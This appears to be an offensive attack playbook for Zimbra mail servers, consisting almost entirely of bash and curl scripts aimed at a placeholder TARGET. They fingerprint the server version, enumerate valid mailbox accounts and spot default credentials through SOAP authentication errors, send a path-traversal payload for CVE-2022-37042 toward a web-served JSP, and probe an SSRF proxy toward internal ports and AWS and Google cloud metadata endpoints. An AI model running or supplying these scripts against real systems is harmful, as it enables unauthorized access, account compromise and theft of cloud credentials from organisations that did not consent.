Zimbra Attack

# Quick Zimbra detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "zimbra|zmail"

# SOAP user enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/service/soap/" \
  -H "Content-Type: application/xml" \
  -d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAccount"><account by="name">admin@TARGET</account><password>test</password></AuthRequest></soap:Body></soap:Envelope>'

TARGET="$1"
OUTDIR="$OUTDIR/zimbra"
mkdir -p "$OUTDIR"

echo "[*] Zimbra detection on $TARGET"

# Check for Zimbra redirect/headers
INITIAL=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
if echo "$INITIAL" | grep -qi "zimbra\|zmail"; then
  echo "[+] Zimbra confirmed in headers"
fi

# Check page title
TITLE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null | grep -Eo '<title>\K[^<]+')
if echo "$TITLE" | grep -qi "zimbra"; then
  echo "[+] Zimbra confirmed — Title: $TITLE"
fi

# Version from download page
VER=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/zimbra/downloads/index.html" 2>/dev/null | grep -Eo 'Zimbra[^<]+' | head -1)
if [[ -n "$VER" ]]; then
  echo "[+] Version: $VER"
fi

# Version from SOAP response
SOAP_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/soap/" \
  -H "Content-Type: application/xml" \
  -d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><GetVersionInfoRequest xmlns="urn:zimbraAdmin"/></soap:Body></soap:Envelope>' 2>/dev/null)
ZIMBRA_VER=$(echo "$SOAP_RESP" | grep -Eo '<VersionString>\K[^<]+')
ZIMBRA_RELEASE=$(echo "$SOAP_RESP" | grep -Eo '<ReleaseString>\K[^<]+')
if [[ -n "$ZIMBRA_VER" ]]; then
  echo "[+] Zimbra version from SOAP: $ZIMBRA_VER ($ZIMBRA_RELEASE)"
fi

TARGET="$1"

echo "[*] SOAP user enumeration on $TARGET"

# Test users
USERS=("admin" "administrator" "spam" "ham" "virus" "galsync" "wiki"
       "user" "webmaster" "info" "contato" "suporte" "test")

for user in "${USERS[@]}"; do
  # AuthRequest with wrong password — differentiates valid vs invalid user
  RESP=$(curl -sk -X POST --max-time 5 --connect-timeout 5 "https://$TARGET/service/soap/" \
    -H "Content-Type: application/xml" \
    -d "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"/></soap:Header><soap:Body><AuthRequest xmlns=\"urn:zimbraAccount\"><account by=\"name\">$user@$TARGET_DOMAIN</account><password>wrongpass</password></AuthRequest></soap:Body></soap:Envelope>" 2>/dev/null)

  if echo "$RESP" | grep -q "authentication failed"; then
    echo "  [VALID] $user — user EXISTS (wrong password)"
  elif echo "$RESP" | grep -q "no such account"; then
    echo "  [INVALID] $user — does not exist"
  elif echo "$RESP" | grep -q "<authToken>"; then
    echo "  [CRITICAL] $user — DEFAULT CREDENTIALS!"
  fi
done

TARGET="$1"

echo "[*] CVE-2022-37042 check (UploadServlet path traversal)"

# This CVE allows unauthenticated file write via path traversal in UploadServlet
# Affects: Zimbra < 9.0.0 P27, < 8.8.15 P34

UPLOAD_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/upload?fmt=extended" \
  -H "Content-Type: application/octet-stream" \
  -d "test" 2>/dev/null)

if echo "$UPLOAD_RESP" | grep -qi "upload\|success\|clientToken"; then
  echo "  [+] UploadServlet ACTIVE — CVE-2022-37042 potentially exploitable"
  echo "  Response: $(echo "$UPLOAD_RESP" | head -1)"

  # Test path traversal (doesn't write — just tests if the endpoint processes it)
  TRAVERSAL_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/upload?fmt=extended&lbfums=" \
    -H "Content-Type: application/octet-stream" \
    -d "../../../../../../opt/zimbra/jetty/webapps/zimbra/public/test.jsp" 2>/dev/null)
  if echo "$TRAVERSAL_RESP" | grep -qi "success"; then
    echo "  [CRITICAL] Path traversal appears functional"
  fi
else
  echo "  [-] UploadServlet not accessible (patched or blocked)"
fi

TARGET="$1"

echo "[*] Internal SSRF via /service/proxy"

# Zimbra proxy endpoint allows internal HTTP requests
# Requires LOW-privilege auth, but worth probing unauthenticated

PROXY_TARGETS=(
  "http://localhost:8080/"
  "http://127.0.0.1:7071/"       # Zimbra Admin port
  "http://127.0.0.1:22/"
  "http://[REDACTED_IP]/latest/meta-data/"  # AWS IMDS
  "http://metadata.google.internal/"
)

for pt in "${PROXY_TARGETS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
    "https://$TARGET/service/proxy?target=${pt}" 2>/dev/null)
  if [[ "$code" == "200" || "$code" == "500" ]]; then
    echo "  [SSRF] $pt → HTTP $code (internal service may be reachable)"
  fi
done

TARGET="$1"

echo "[*] Zimbra Admin console check"

ADMIN_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/zimbraAdmin/" 2>/dev/null)

if [[ "$ADMIN_CODE" == "200" ]]; then
  echo "  [+] Zimbra Admin console EXPOSED"
elif [[ "$ADMIN_CODE" == "302" ]]; then
  LOCATION=$(curl -skI --max-time 5 --connect-timeout 5 "https://$TARGET/zimbraAdmin/" 2>/dev/null | grep -i "location:" | sed 's/.*: //')
  echo "  [REDIR] Admin console redirects to: $LOCATION"
else
  echo "  [-] Admin console: HTTP $ADMIN_CODE"
fi

# Check port 7071 (Zimbra Admin port, sometimes exposed without reverse proxy)
ADMIN_PORT=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET:7071/zimbraAdmin/" 2>/dev/null)
[[ "$ADMIN_PORT" == "200" ]] && echo "  [CRITICAL] Admin console on port 7071 EXPOSED"